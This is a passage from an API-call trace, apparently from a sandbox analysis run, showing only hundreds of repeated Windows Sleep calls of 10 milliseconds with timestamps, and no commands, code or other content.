(dwMilliseconds=0xa) [0109.142] Sleep (dwMilliseconds=0xa) [0109.160] Sleep (dwMilliseconds=0xa) [0109.176] Sleep (dwMilliseconds=0xa) [0109.193] Sleep (dwMilliseconds=0xa) [0109.209] Sleep (dwMilliseconds=0xa) [0109.256] Sleep (dwMilliseconds=0xa) [0109.295] Sleep (dwMilliseconds=0xa) [0109.334] Sleep (dwMilliseconds=0xa) [0109.382] Sleep (dwMilliseconds=0xa) [0109.433] Sleep (dwMilliseconds=0xa) [0109.473] Sleep (dwMilliseconds=0xa) [0109.498] Sleep (dwMilliseconds=0xa) [0109.522] Sleep (dwMilliseconds=0xa) [0109.536] Sleep (dwMilliseconds=0xa) [0109.551] Sleep (dwMilliseconds=0xa) [0109.569] Sleep (dwMilliseconds=0xa) [0109.581] Sleep (dwMilliseconds=0xa) [0109.645] Sleep (dwMilliseconds=0xa) [0109.692] Sleep (dwMilliseconds=0xa) [0109.738] Sleep (dwMilliseconds=0xa) [0109.786] Sleep (dwMilliseconds=0xa) [0109.844] Sleep (dwMilliseconds=0xa) [0109.898] Sleep (dwMilliseconds=0xa) [0109.917] Sleep (dwMilliseconds=0xa) [0109.942] Sleep (dwMilliseconds=0xa) [0109.959] Sleep (dwMilliseconds=0xa) [0109.972] Sleep (dwMilliseconds=0xa) [0109.988] Sleep (dwMilliseconds=0xa) [0110.004] Sleep (dwMilliseconds=0xa) [0110.020] Sleep (dwMilliseconds=0xa) [0110.084] Sleep (dwMilliseconds=0xa) [0110.130] Sleep (dwMilliseconds=0xa) [0110.176] Sleep (dwMilliseconds=0xa) [0110.224] Sleep (dwMilliseconds=0xa) [0110.272] Sleep (dwMilliseconds=0xa) [0110.287] Sleep (dwMilliseconds=0xa) [0110.302] Sleep (dwMilliseconds=0xa) [0110.316] Sleep (dwMilliseconds=0xa) [0110.332] Sleep (dwMilliseconds=0xa) [0110.348] Sleep (dwMilliseconds=0xa) [0110.363] Sleep (dwMilliseconds=0xa) [0110.379] Sleep (dwMilliseconds=0xa) [0110.435] Sleep (dwMilliseconds=0xa) [0110.475] Sleep (dwMilliseconds=0xa) [0110.520] Sleep (dwMilliseconds=0xa) [0110.567] Sleep (dwMilliseconds=0xa) [0110.610] Sleep (dwMilliseconds=0xa) [0110.630] Sleep (dwMilliseconds=0xa) [0110.645] Sleep (dwMilliseconds=0xa) [0110.659] Sleep (dwMilliseconds=0xa) [0110.676] Sleep (dwMilliseconds=0xa) [0110.691] Sleep (dwMilliseconds=0xa) [0110.707] Sleep (dwMilliseconds=0xa) [0110.723] Sleep (dwMilliseconds=0xa) [0110.770] Sleep (dwMilliseconds=0xa) [0110.844] Sleep (dwMilliseconds=0xa) [0110.898] Sleep (dwMilliseconds=0xa) [0110.936] Sleep (dwMilliseconds=0xa) [0110.957] Sleep (dwMilliseconds=0xa) [0110.973] Sleep (dwMilliseconds=0xa) [0110.989] Sleep (dwMilliseconds=0xa) [0111.004] Sleep (dwMilliseconds=0xa) [0111.019] Sleep (dwMilliseconds=0xa) [0111.097] Sleep (dwMilliseconds=0xa) [0111.145] Sleep (dwMilliseconds=0xa) [0111.160] Sleep (dwMilliseconds=0xa) [0111.175] Sleep (dwMilliseconds=0xa) [0111.191] Sleep (dwMilliseconds=0xa) [0111.207] Sleep (dwMilliseconds=0xa) [0111.223] Sleep (dwMilliseconds=0xa) [0111.239] Sleep (dwMilliseconds=0xa) [0111.300] Sleep (dwMilliseconds=0xa) [0111.342] Sleep (dwMilliseconds=0xa) [0111.368] Sleep (dwMilliseconds=0xa) [0111.397] Sleep (dwMilliseconds=0xa) [0111.413] Sleep (dwMilliseconds=0xa) [0111.437] Sleep (dwMilliseconds=0xa) [0111.489] Sleep (dwMilliseconds=0xa) [0111.519] Sleep (dwMilliseconds=0xa) [0111.537] Sleep (dwMilliseconds=0xa) [0111.551] Sleep (dwMilliseconds=0xa) [0111.566] Sleep (dwMilliseconds=0xa) [0111.586] Sleep (dwMilliseconds=0xa) [0111.603] Sleep (dwMilliseconds=0xa) [0111.675] Sleep (dwMilliseconds=0xa) [0111.704] Sleep (dwMilliseconds=0xa) [0111.734] Sleep (dwMilliseconds=0xa) [0111.758] Sleep (dwMilliseconds=0xa) [0111.771] Sleep (dwMilliseconds=0xa) [0111.803] Sleep (dwMilliseconds=0xa) [0111.825] Sleep (dwMilliseconds=0xa) [0111.880] Sleep (dwMilliseconds=0xa) [0111.959] Sleep (dwMilliseconds=0xa) [0111.974] Sleep (dwMilliseconds=0xa) [0111.988] Sleep (dwMilliseconds=0xa) [0112.005] Sleep (dwMilliseconds=0xa) [0112.021] Sleep (dwMilliseconds=0xa) [0112.036] Sleep (dwMilliseconds=0xa) [0112.094] Sleep (dwMilliseconds=0xa) [0112.131] Sleep (dwMilliseconds=0xa) [0112.169] Sleep (dwMilliseconds=0xa) [0112.192] Sleep (dwMilliseconds=0xa) [0112.207] Sleep (dwMilliseconds=0xa) [0112.222] Sleep (dwMilliseconds=0xa) [0112.238] Sleep (dwMilliseconds=0xa) [0112.254] Sleep (dwMilliseconds=0xa) [0112.270] Sleep (dwMilliseconds=0xa) [0112.317] Sleep (dwMilliseconds=0xa) [0112.342] Sleep (dwMilliseconds=0xa) [0112.363] Sleep (dwMilliseconds=0xa) [0112.379] Sleep (dwMilliseconds=0xa) [0112.442] Sleep (dwMilliseconds=0xa) [0112.520] Sleep (dwMilliseconds=0xa) [0112.626] Sleep (dwMilliseconds=0xa) [0112.712] Sleep (dwMilliseconds=0xa) [0112.754] Sleep (dwMilliseconds=0xa) [0112.802] Sleep (dwMilliseconds=0xa) [0112.849] Sleep (dwMilliseconds=0xa) [0112.939] Sleep (dwMilliseconds=0xa) [0113.037] Sleep (dwMilliseconds=0xa) [0113.058] Sleep (dwMilliseconds=0xa) [0113.085] Sleep (dwMilliseconds=0xa) [0113.161] Sleep (dwMilliseconds=0xa) [0113.207] Sleep (dwMilliseconds=0xa) [0113.249] Sleep (dwMilliseconds=0xa) [0113.270] Sleep (dwMilliseconds=0xa) [0113.287] Sleep (dwMilliseconds=0xa) [0113.301] Sleep (dwMilliseconds=0xa) [0113.318] Sleep (dwMilliseconds=0xa) [0113.332] Sleep (dwMilliseconds=0xa) [0113.347] Sleep (dwMilliseconds=0xa) [0113.364] Sleep (dwMilliseconds=0xa) [0113.411] Sleep (dwMilliseconds=0xa) [0113.448] Sleep (dwMilliseconds=0xa) [0113.472] Sleep (dwMilliseconds=0xa) [0113.488] Sleep (dwMilliseconds=0xa) [0113.503] Sleep (dwMilliseconds=0xa) [0113.519] Sleep (dwMilliseconds=0xa) [0113.535] Sleep (dwMilliseconds=0xa) [0113.598] Sleep (dwMilliseconds=0xa) [0113.632] Sleep (dwMilliseconds=0xa) [0113.645] Sleep (dwMilliseconds=0xa) [0113.660] Sleep (dwMilliseconds=0xa) [0113.676] Sleep (dwMilliseconds=0xa) [0113.691] Sleep (dwMilliseconds=0xa) [0113.707] Sleep (dwMilliseconds=0xa) [0113.724] Sleep (dwMilliseconds=0xa) [0113.740] Sleep (dwMilliseconds=0xa) [0113.786] Sleep (dwMilliseconds=0xa) [0113.827] Sleep (dwMilliseconds=0xa) [0113.861] Sleep (dwMilliseconds=0xa) [0113.879] Sleep (dwMilliseconds=0xa) [0113.894] Sleep (dwMilliseconds=0xa) [0113.914] Sleep (dwMilliseconds=0xa) [0113.926] Sleep (dwMilliseconds=0xa) [0113.941] Sleep (dwMilliseconds=0xa) [0113.956] Sleep (dwMilliseconds=0xa) [0113.973] Sleep (dwMilliseconds=0xa) [0114.021] Sleep (dwMilliseconds=0xa) [0114.049] Sleep (dwMilliseconds=0xa) [0114.066] Sleep (dwMilliseconds=0xa) [0114.083] Sleep (dwMilliseconds=0xa) [0114.126] Sleep (dwMilliseconds=0xa) [0114.145] Sleep (dwMilliseconds=0xa) [0114.160] Sleep (dwMilliseconds=0xa) [0114.207] Sleep (dwMilliseconds=0xa) [0114.236] Sleep (dwMilliseconds=0xa) [0114.255] Sleep (dwMilliseconds=0xa) [0114.270] Sleep (dwMilliseconds=0xa) [0114.417] Sleep (dwMilliseconds=0xa) [0114.489] Sleep (dwMilliseconds=0xa) [0114.541] Sleep (dwMilliseconds=0xa) [0114.579] Sleep (dwMilliseconds=0xa) [0114.608] Sleep (dwMilliseconds=0xa) [0114.718] Sleep (dwMilliseconds=0xa) [0114.757] Sleep (dwMilliseconds=0xa) [0114.801] Sleep (dwMilliseconds=0xa) [0114.816] Sleep (dwMilliseconds=0xa) [0114.835] Sleep (dwMilliseconds=0xa) [0114.851] Sleep (dwMilliseconds=0xa) [0114.871] Sleep (dwMilliseconds=0xa) [0114.894] Sleep (dwMilliseconds=0xa) [0114.911] Sleep (dwMilliseconds=0xa) [0114.926] Sleep (dwMilliseconds=0xa) [0114.961] Sleep (dwMilliseconds=0xa) [0115.013] Sleep (dwMilliseconds=0xa) [0115.047] Sleep (dwMilliseconds=0xa) [0115.083] Sleep (dwMilliseconds=0xa) [0115.097] Sleep (dwMilliseconds=0xa) [0115.114] Sleep (dwMilliseconds=0xa) [0115.129] Sleep (dwMilliseconds=0xa) [0115.144] Sleep (dwMilliseconds=0xa) [0115.160] Sleep (dwMilliseconds=0xa) [0115.201] Sleep (dwMilliseconds=0xa) [0115.239] Sleep (dwMilliseconds=0xa) [0115.273] Sleep (dwMilliseconds=0xa) [0115.285] Sleep (dwMilliseconds=0xa) [0115.301] Sleep (dwMilliseconds=0xa) [0115.316] Sleep (dwMilliseconds=0xa) [0115.332] Sleep (dwMilliseconds=0xa) [0115.349] Sleep (dwMilliseconds=0xa) [0115.433] Sleep (dwMilliseconds=0xa) [0115.474] Sleep (dwMilliseconds=0xa) [0115.490] Sleep (dwMilliseconds=0xa) [0115.504] Sleep (dwMilliseconds=0xa) [0115.520] Sleep (dwMilliseconds=0xa) [0115.535] Sleep (dwMilliseconds=0xa) [0115.551] Sleep (dwMilliseconds=0xa) [0115.567] Sleep (dwMilliseconds=0xa) [0115.582] Sleep (dwMilliseconds=0xa) [0115.598] Sleep (dwMilliseconds=0xa) [0115.645] Sleep (dwMilliseconds=0xa) [0115.671] Sleep (dwMilliseconds=0xa) [0115.691] Sleep (dwMilliseconds=0xa) [0115.707] Sleep (dwMilliseconds=0xa) [0115.722] Sleep (dwMilliseconds=0xa) [0115.738] Sleep (dwMilliseconds=0xa) [0115.754] Sleep (dwMilliseconds=0xa) [0115.771] Sleep (dwMilliseconds=0xa) [0115.785] Sleep (dwMilliseconds=0xa) [0115.833] Sleep (dwMilliseconds=0xa) [0115.871] Sleep (dwMilliseconds=0xa) [0115.898] Sleep (dwMilliseconds=0xa) [0115.911] Sleep (dwMilliseconds=0xa) [0115.928] Sleep (dwMilliseconds=0xa) [0115.942] Sleep (dwMilliseconds=0xa) [0115.957] Sleep (dwMilliseconds=0xa) [0116.020] Sleep (dwMilliseconds=0xa) [0116.048] Sleep (dwMilliseconds=0xa) [0116.066] Sleep (dwMilliseconds=0xa) [0116.083] Sleep (dwMilliseconds=0xa) [0116.097] Sleep (dwMilliseconds=0xa) [0116.114] Sleep (dwMilliseconds=0xa) [0116.128] Sleep (dwMilliseconds=0xa) [0116.144] Sleep (dwMilliseconds=0xa) [0116.160] Sleep (dwMilliseconds=0xa) [0116.224] Sleep (dwMilliseconds=0xa) [0116.249] Sleep (dwMilliseconds=0xa) [0116.270] Sleep (dwMilliseconds=0xa) [0116.285] Sleep (dwMilliseconds=0xa) [0116.301] Sleep (dwMilliseconds=0xa) [0116.316] Sleep (dwMilliseconds=0xa) [0116.333] Sleep (dwMilliseconds=0xa) [0116.347] Sleep (dwMilliseconds=0xa) [0116.363] Sleep (dwMilliseconds=0xa) [0116.419] Sleep (dwMilliseconds=0xa) [0116.471] Sleep (dwMilliseconds=0xa) [0116.488] Sleep (dwMilliseconds=0xa) [0116.504] Sleep (dwMilliseconds=0xa) [0116.519] Sleep (dwMilliseconds=0xa) [0116.538] Sleep (dwMilliseconds=0xa) [0116.550] Sleep (dwMilliseconds=0xa) [0116.566] Sleep (dwMilliseconds=0xa) [0116.582] Sleep (dwMilliseconds=0xa) [0116.629] Sleep (dwMilliseconds=0xa) [0116.716] Sleep (dwMilliseconds=0xa) [0116.739] Sleep (dwMilliseconds=0xa) [0116.754] Sleep (dwMilliseconds=0xa) [0116.769] Sleep (dwMilliseconds=0xa) [0116.786] Sleep (dwMilliseconds=0xa) [0116.801] Sleep (dwMilliseconds=0xa) [0116.863] Sleep (dwMilliseconds=0xa) [0116.911] Sleep (dwMilliseconds=0xa) [0116.936] Sleep (dwMilliseconds=0xa) [0116.959] Sleep (dwMilliseconds=0xa) [0116.973] Sleep (dwMilliseconds=0xa) [0116.988] Sleep (dwMilliseconds=0xa) [0117.003] Sleep (dwMilliseconds=0xa) [0117.021] Sleep (dwMilliseconds=0xa) [0117.034] Sleep (dwMilliseconds=0xa) [0117.084] Sleep (dwMilliseconds=0xa) [0117.108] Sleep (dwMilliseconds=0xa) [0117.129] Sleep (dwMilliseconds=0xa) [0117.144] Sleep (dwMilliseconds=0xa) [0117.160] Sleep (dwMilliseconds=0xa) [0117.175] Sleep (dwMilliseconds=0xa) [0117.209] Sleep (dwMilliseconds=0xa) [0117.223] Sleep (dwMilliseconds=0xa) [0117.270] Sleep (dwMilliseconds=0xa) [0117.302] Sleep (dwMilliseconds=0xa) [0117.316] Sleep (dwMilliseconds=0xa) [0117.333] Sleep (dwMilliseconds=0xa) [0117.347] Sleep (dwMilliseconds=0xa) [0117.363] Sleep (dwMilliseconds=0xa) [0117.380] Sleep (dwMilliseconds=0xa) [0117.394] Sleep (dwMilliseconds=0xa) [0117.410] Sleep (dwMilliseconds=0xa) [0117.463] Sleep (dwMilliseconds=0xa) [0117.496] Sleep (dwMilliseconds=0xa) [0117.520] Sleep (dwMilliseconds=0xa) [0117.535] Sleep (dwMilliseconds=0xa) [0117.552] Sleep (dwMilliseconds=0xa) [0117.566] Sleep (dwMilliseconds=0xa) [0117.583] Sleep (dwMilliseconds=0xa) [0117.644] Sleep (dwMilliseconds=0xa) [0117.667] Sleep (dwMilliseconds=0xa) [0117.691] Sleep (dwMilliseconds=0xa) [0117.707] Sleep (dwMilliseconds=0xa) [0117.724] Sleep (dwMilliseconds=0xa) [0117.738] Sleep (dwMilliseconds=0xa) [0117.763] Sleep (dwMilliseconds=0xa) [0117.820] Sleep (dwMilliseconds=0xa) [0117.842] Sleep (dwMilliseconds=0xa) [0117.896] Sleep (dwMilliseconds=0xa) [0117.910] Sleep (dwMilliseconds=0xa) [0117.927] Sleep (dwMilliseconds=0xa) [0117.941] Sleep (dwMilliseconds=0xa) [0118.003] Sleep (dwMilliseconds=0xa) [0118.043] Sleep (dwMilliseconds=0xa) [0118.066] Sleep (dwMilliseconds=0xa) [0118.082] Sleep (dwMilliseconds=0xa) [0118.099] Sleep (dwMilliseconds=0xa) [0118.113] Sleep (dwMilliseconds=0xa) [0118.128] Sleep (dwMilliseconds=0xa) [0118.212] Sleep (dwMilliseconds=0xa) [0118.244] Sleep (dwMilliseconds=0xa) [0118.270] Sleep (dwMilliseconds=0xa) [0118.285] Sleep (dwMilliseconds=0xa) [0118.301] Sleep (dwMilliseconds=0xa) [0118.316] Sleep (dwMilliseconds=0xa) [0118.331] Sleep (dwMilliseconds=0xa) [0118.394] Sleep (dwMilliseconds=0xa) [0118.437] Sleep (dwMilliseconds=0xa) [0118.459] Sleep (dwMilliseconds=0xa) [0118.473] Sleep (dwMilliseconds=0xa) [0118.488] Sleep (dwMilliseconds=0xa) [0118.504] Sleep (dwMilliseconds=0xa) [0118.520] Sleep (dwMilliseconds=0xa) [0118.537] Sleep (dwMilliseconds=0xa) [0118.550] Sleep (dwMilliseconds=0xa) [0118.599] Sleep (dwMilliseconds=0xa) [0118.651] Sleep (dwMilliseconds=0xa) [0118.676] Sleep (dwMilliseconds=0xa) [0118.692] Sleep (dwMilliseconds=0xa) [0118.708] Sleep (dwMilliseconds=0xa) [0118.723] Sleep (dwMilliseconds=0xa) [0118.740] Sleep (dwMilliseconds=0xa) [0118.754] Sleep (dwMilliseconds=0xa) [0118.809] Sleep (dwMilliseconds=0xa) [0118.851] Sleep (dwMilliseconds=0xa) [0118.864] Sleep (dwMilliseconds=0xa) [0118.880] Sleep (dwMilliseconds=0xa) [0118.896] Sleep (dwMilliseconds=0xa) [0118.917] Sleep (dwMilliseconds=0xa) [0118.948] Sleep (dwMilliseconds=0xa) [0119.024] Sleep (dwMilliseconds=0xa) [0119.130] Sleep (dwMilliseconds=0xa) [0119.153] Sleep (dwMilliseconds=0xa) [0119.175] Sleep (dwMilliseconds=0xa) [0119.212] Sleep (dwMilliseconds=0xa) [0119.238] Sleep (dwMilliseconds=0xa) [0119.300] Sleep (dwMilliseconds=0xa) [0119.341] Sleep (dwMilliseconds=0xa) [0119.364] Sleep (dwMilliseconds=0xa) [0119.379] Sleep (dwMilliseconds=0xa) [0119.395] Sleep (dwMilliseconds=0xa) [0119.410] Sleep (dwMilliseconds=0xa) [0119.435] Sleep (dwMilliseconds=0xa) [0119.494] Sleep (dwMilliseconds=0xa) [0119.522] Sleep (dwMilliseconds=0xa) [0119.535] Sleep (dwMilliseconds=0xa) [0119.553] Sleep (dwMilliseconds=0xa) [0119.566] Sleep (dwMilliseconds=0xa) [0119.583] Sleep (dwMilliseconds=0xa) [0119.599] Sleep (dwMilliseconds=0xa) [0119.613] Sleep (dwMilliseconds=0xa) [0119.628] Sleep (dwMilliseconds=0xa) [0119.678] Sleep (dwMilliseconds=0xa) [0119.710] Sleep (dwMilliseconds=0xa) [0119.723] Sleep (dwMilliseconds=0xa) [0119.738] Sleep (dwMilliseconds=0xa) [0119.754] Sleep (dwMilliseconds=0xa) [0119.771] Sleep (dwMilliseconds=0xa) [0119.786] Sleep (dwMilliseconds=0xa) [0119.800] Sleep (dwMilliseconds=0xa) [0119.816] Sleep (dwMilliseconds=0xa) [0119.864] Sleep (dwMilliseconds=0xa) [0119.889] Sleep (dwMilliseconds=0xa) [0119.913] Sleep (dwMilliseconds=0xa) [0119.925] Sleep (dwMilliseconds=0xa) [0119.942] Sleep (dwMilliseconds=0xa) [0119.957] Sleep (dwMilliseconds=0xa) [0119.973] Sleep (dwMilliseconds=0xa) [0119.988] Sleep (dwMilliseconds=0xa) [0120.008] Sleep (dwMilliseconds=0xa) [0120.061] Sleep (dwMilliseconds=0xa) [0120.114] Sleep (dwMilliseconds=0xa) [0120.141] Sleep (dwMilliseconds=0xa) [0120.160] Sleep (dwMilliseconds=0xa) [0120.175] Sleep (dwMilliseconds=0xa) [0120.210] Sleep (dwMilliseconds=0xa) [0120.344] Sleep (dwMilliseconds=0xa) [0120.420] Sleep (dwMilliseconds=0xa) [0120.448] Sleep (dwMilliseconds=0xa) [0120.472] Sleep (dwMilliseconds=0xa) [0120.488] Sleep (dwMilliseconds=0xa) [0120.510] Sleep (dwMilliseconds=0xa) [0120.538] Sleep (dwMilliseconds=0xa) [0120.550] Sleep (dwMilliseconds=0xa) [0120.600] Sleep (dwMilliseconds=0xa) [0120.641] Sleep (dwMilliseconds=0xa) [0121.003] Sleep (dwMilliseconds=0xa) [0121.040] Sleep (dwMilliseconds=0xa) [0121.066] Sleep (dwMilliseconds=0xa) [0121.082] Sleep (dwMilliseconds=0xa) [0121.097] Sleep (dwMilliseconds=0xa) [0121.112] Sleep (dwMilliseconds=0xa) [0121.128] Sleep (dwMilliseconds=0xa) [0121.145] Sleep (dwMilliseconds=0xa) [0121.192] Sleep (dwMilliseconds=0xa) [0121.222] Sleep (dwMilliseconds=0xa) [0121.237] Sleep (dwMilliseconds=0xa) [0121.254] Sleep (dwMilliseconds=0xa) [0121.269] Sleep (dwMilliseconds=0xa) [0121.284] Sleep (dwMilliseconds=0xa) [0121.300] Sleep (dwMilliseconds=0xa) [0121.316] Sleep (dwMilliseconds=0xa) [0121.351] Sleep (dwMilliseconds=0xa) [0121.394] Sleep (dwMilliseconds=0xa) [0121.420] Sleep (dwMilliseconds=0xa) [0121.442] Sleep (dwMilliseconds=0xa) [0121.456] Sleep (dwMilliseconds=0xa) [0121.486] Sleep (dwMilliseconds=0xa) [0121.503] Sleep (dwMilliseconds=0xa) [0121.519] Sleep (dwMilliseconds=0xa) [0121.534] Sleep (dwMilliseconds=0xa) [0121.581] Sleep (dwMilliseconds=0xa) [0121.602] Sleep (dwMilliseconds=0xa) [0121.628] Sleep (dwMilliseconds=0xa) [0121.644] Sleep (dwMilliseconds=0xa) [0121.659] Sleep (dwMilliseconds=0xa) [0121.675] Sleep (dwMilliseconds=0xa) [0121.691] Sleep (dwMilliseconds=0xa) [0121.754] Sleep (dwMilliseconds=0xa) [0121.797] Sleep (dwMilliseconds=0xa) [0121.816] Sleep (dwMilliseconds=0xa) [0121.831] Sleep (dwMilliseconds=0xa) [0121.855] Sleep (dwMilliseconds=0xa) [0121.927] Sleep (dwMilliseconds=0xa) [0121.972] Sleep (dwMilliseconds=0xa) [0122.009] Sleep (dwMilliseconds=0xa) [0122.035] Sleep (dwMilliseconds=0xa) [0122.060] Sleep (dwMilliseconds=0xa) [0122.082] Sleep (dwMilliseconds=0xa) [0122.097] Sleep (dwMilliseconds=0xa) [0122.146] Sleep (dwMilliseconds=0xa) [0122.188] Sleep (dwMilliseconds=0xa) [0122.206] Sleep (dwMilliseconds=0xa) [0122.222] Sleep (dwMilliseconds=0xa) [0122.239] Sleep (dwMilliseconds=0xa) [0122.253] Sleep (dwMilliseconds=0xa) [0122.269] Sleep (dwMilliseconds=0xa) [0122.284] Sleep (dwMilliseconds=0xa) [0122.335] Sleep (dwMilliseconds=0xa) [0122.375] Sleep (dwMilliseconds=0xa) [0122.394] Sleep (dwMilliseconds=0xa) [0122.410] Sleep (dwMilliseconds=0xa) [0122.435] Sleep (dwMilliseconds=0xa) [0122.458] Sleep (dwMilliseconds=0xa) [0122.514] Sleep (dwMilliseconds=0xa) [0122.564] Sleep (dwMilliseconds=0xa) [0122.597] Sleep (dwMilliseconds=0xa) [0122.621] Sleep (dwMilliseconds=0xa) [0122.644] Sleep (dwMilliseconds=0xa) [0122.659] Sleep (dwMilliseconds=0xa) [0122.676] Sleep (dwMilliseconds=0xa) [0122.691] Sleep (dwMilliseconds=0xa) [0122.706] Sleep (dwMilliseconds=0xa) [0122.755] Sleep (dwMilliseconds=0xa) [0122.798] Sleep (dwMilliseconds=0xa) [0122.818] Sleep (dwMilliseconds=0xa) [0122.831] Sleep (dwMilliseconds=0xa) [0122.847] Sleep (dwMilliseconds=0xa) [0122.863] Sleep (dwMilliseconds=0xa) [0122.879] Sleep (dwMilliseconds=0xa) [0122.894] Sleep (dwMilliseconds=0xa) [0122.909] Sleep (dwMilliseconds=0xa) [0122.925] Sleep (dwMilliseconds=0xa) [0122.959] Sleep (dwMilliseconds=0xa) [0123.003] Sleep (dwMilliseconds=0xa) [0123.019] Sleep (dwMilliseconds=0xa) [0123.034] Sleep (dwMilliseconds=0xa) [0123.050] Sleep (dwMilliseconds=0xa) [0123.066] Sleep (dwMilliseconds=0xa) [0123.081] Sleep (dwMilliseconds=0xa) [0123.098] Sleep (dwMilliseconds=0xa) [0123.113] Sleep (dwMilliseconds=0xa) [0123.150] Sleep (dwMilliseconds=0xa) [0123.185] Sleep (dwMilliseconds=0xa) [0123.206] Sleep (dwMilliseconds=0xa) [0123.222] Sleep (dwMilliseconds=0xa) [0123.237] Sleep (dwMilliseconds=0xa) [0123.254] Sleep (dwMilliseconds=0xa) [0123.301] Sleep (dwMilliseconds=0xa) [0123.336] Sleep (dwMilliseconds=0xa) [0123.372] Sleep (dwMilliseconds=0xa) [0123.394] Sleep (dwMilliseconds=0xa) [0123.411] Sleep (dwMilliseconds=0xa) [0123.435] Sleep (dwMilliseconds=0xa) [0123.456] Sleep (dwMilliseconds=0xa) [0123.521] Sleep (dwMilliseconds=0xa) [0123.561] Sleep (dwMilliseconds=0xa) [0123.594] Sleep (dwMilliseconds=0xa) [0123.612] Sleep (dwMilliseconds=0xa) [0123.629] Sleep (dwMilliseconds=0xa) [0123.644] Sleep (dwMilliseconds=0xa) [0123.660] Sleep (dwMilliseconds=0xa) [0123.679] Sleep (dwMilliseconds=0xa) [0123.691] Sleep (dwMilliseconds=0xa) [0123.745] Sleep (dwMilliseconds=0xa) [0123.783] Sleep (dwMilliseconds=0xa) [0123.800] Sleep (dwMilliseconds=0xa) [0123.816] Sleep (dwMilliseconds=0xa) [0123.832] Sleep (dwMilliseconds=0xa) [0123.868] Sleep (dwMilliseconds=0xa) [0123.950] Sleep (dwMilliseconds=0xa) [0123.988] Sleep (dwMilliseconds=0xa) [0124.005] Sleep (dwMilliseconds=0xa) [0124.019] Sleep (dwMilliseconds=0xa) [0124.035] Sleep (dwMilliseconds=0xa) [0124.051] Sleep (dwMilliseconds=0xa) [0124.066] Sleep (dwMilliseconds=0xa) [0124.081] Sleep (dwMilliseconds=0xa) [0124.097] Sleep (dwMilliseconds=0xa) [0124.112] Sleep (dwMilliseconds=0xa) [0124.149] Sleep (dwMilliseconds=0xa) [0124.198] Sleep (dwMilliseconds=0xa) [0124.222] Sleep (dwMilliseconds=0xa) [0124.238] Sleep (dwMilliseconds=0xa) [0124.255] Sleep (dwMilliseconds=0xa) [0124.269] Sleep (dwMilliseconds=0xa) [0124.284] Sleep (dwMilliseconds=0xa) [0124.300] Sleep (dwMilliseconds=0xa) [0124.316] Sleep (dwMilliseconds=0xa) [0124.353] Sleep (dwMilliseconds=0xa) [0124.391] Sleep (dwMilliseconds=0xa) [0124.410] Sleep (dwMilliseconds=0xa) [0124.433] Sleep (dwMilliseconds=0xa) [0124.457] Sleep (dwMilliseconds=0xa) [0124.472] Sleep (dwMilliseconds=0xa) [0124.487] Sleep (dwMilliseconds=0xa) [0124.527] Sleep (dwMilliseconds=0xa) [0124.563] Sleep (dwMilliseconds=0xa) [0124.597] Sleep (dwMilliseconds=0xa) [0124.613] Sleep (dwMilliseconds=0xa) [0124.628] Sleep (dwMilliseconds=0xa) [0124.646] Sleep (dwMilliseconds=0xa) [0124.660] Sleep (dwMilliseconds=0xa) [0124.675] Sleep (dwMilliseconds=0xa) [0124.691] Sleep (dwMilliseconds=0xa) [0124.706] Sleep (dwMilliseconds=0xa) [0124.740] Sleep (dwMilliseconds=0xa) [0124.779] Sleep (dwMilliseconds=0xa) [0124.800] Sleep (dwMilliseconds=0xa) [0124.816] Sleep (dwMilliseconds=0xa) [0124.831] Sleep (dwMilliseconds=0xa) [0124.847] Sleep (dwMilliseconds=0xa) [0124.862] Sleep (dwMilliseconds=0xa) [0124.879] Sleep (dwMilliseconds=0xa) [0124.894] Sleep (dwMilliseconds=0xa) [0124.941] Sleep (dwMilliseconds=0xa) [0124.966] Sleep (dwMilliseconds=0xa) [0124.990] Sleep (dwMilliseconds=0xa) [0125.003] Sleep (dwMilliseconds=0xa) [0125.019] Sleep (dwMilliseconds=0xa) [0125.035] Sleep (dwMilliseconds=0xa) [0125.050] Sleep (dwMilliseconds=0xa) [0125.066] Sleep (dwMilliseconds=0xa) [0125.081] Sleep (dwMilliseconds=0xa) [0125.128] Sleep (dwMilliseconds=0xa) [0125.163] Sleep (dwMilliseconds=0xa) [0125.175] Sleep (dwMilliseconds=0xa) [0125.191] Sleep (dwMilliseconds=0xa) [0125.207] Sleep (dwMilliseconds=0xa) [0125.222] Sleep (dwMilliseconds=0xa) [0125.238] Sleep (dwMilliseconds=0xa) [0125.253] Sleep (dwMilliseconds=0xa) [0125.269] Sleep (dwMilliseconds=0xa) [0125.316] Sleep (dwMilliseconds=0xa) [0125.353] Sleep (dwMilliseconds=0xa) [0125.378] Sleep (dwMilliseconds=0xa) [0125.394] Sleep (dwMilliseconds=0xa) [0125.409] Sleep (dwMilliseconds=0xa) [0125.434] Sleep (dwMilliseconds=0xa) [0125.542] Sleep (dwMilliseconds=0xa) [0125.580] Sleep (dwMilliseconds=0xa) [0125.597] Sleep (dwMilliseconds=0xa) [0125.612] Sleep (dwMilliseconds=0xa) [0125.628] Sleep (dwMilliseconds=0xa) [0125.644] Sleep (dwMilliseconds=0xa) [0125.659] Sleep (dwMilliseconds=0xa) [0125.675] Sleep (dwMilliseconds=0xa) [0125.691] Sleep (dwMilliseconds=0xa) [0125.738] Sleep (dwMilliseconds=0xa) [0125.763] Sleep (dwMilliseconds=0xa) [0125.784] Sleep (dwMilliseconds=0xa) [0125.800] Sleep (dwMilliseconds=0xa) [0125.816] Sleep (dwMilliseconds=0xa) [0125.831] Sleep (dwMilliseconds=0xa) [0125.847] Sleep (dwMilliseconds=0xa) [0125.864] Sleep (dwMilliseconds=0xa) [0125.878] Sleep (dwMilliseconds=0xa) [0125.925] Sleep (dwMilliseconds=0xa) [0125.953] Sleep (dwMilliseconds=0xa) [0125.973] Sleep (dwMilliseconds=0xa) [0125.988] Sleep (dwMilliseconds=0xa) [0126.003] Sleep (dwMilliseconds=0xa) [0126.019] Sleep (dwMilliseconds=0xa) [0126.034] Sleep (dwMilliseconds=0xa) [0126.050] Sleep (dwMilliseconds=0xa) [0126.066] Sleep (dwMilliseconds=0xa) [0126.113] Sleep (dwMilliseconds=0xa) [0126.139] Sleep (dwMilliseconds=0xa) [0126.212] Sleep (dwMilliseconds=0xa) [0126.241] Sleep (dwMilliseconds=0xa) [0126.253] Sleep (dwMilliseconds=0xa) [0126.301] Sleep (dwMilliseconds=0xa) [0126.331] Sleep (dwMilliseconds=0xa) [0126.347] Sleep (dwMilliseconds=0xa) [0126.374] Sleep (dwMilliseconds=0xa) [0126.408] Sleep (dwMilliseconds=0xa) [0126.503] Sleep (dwMilliseconds=0xa) [0126.564] Sleep (dwMilliseconds=0xa) [0126.581] Sleep (dwMilliseconds=0xa) [0126.597] 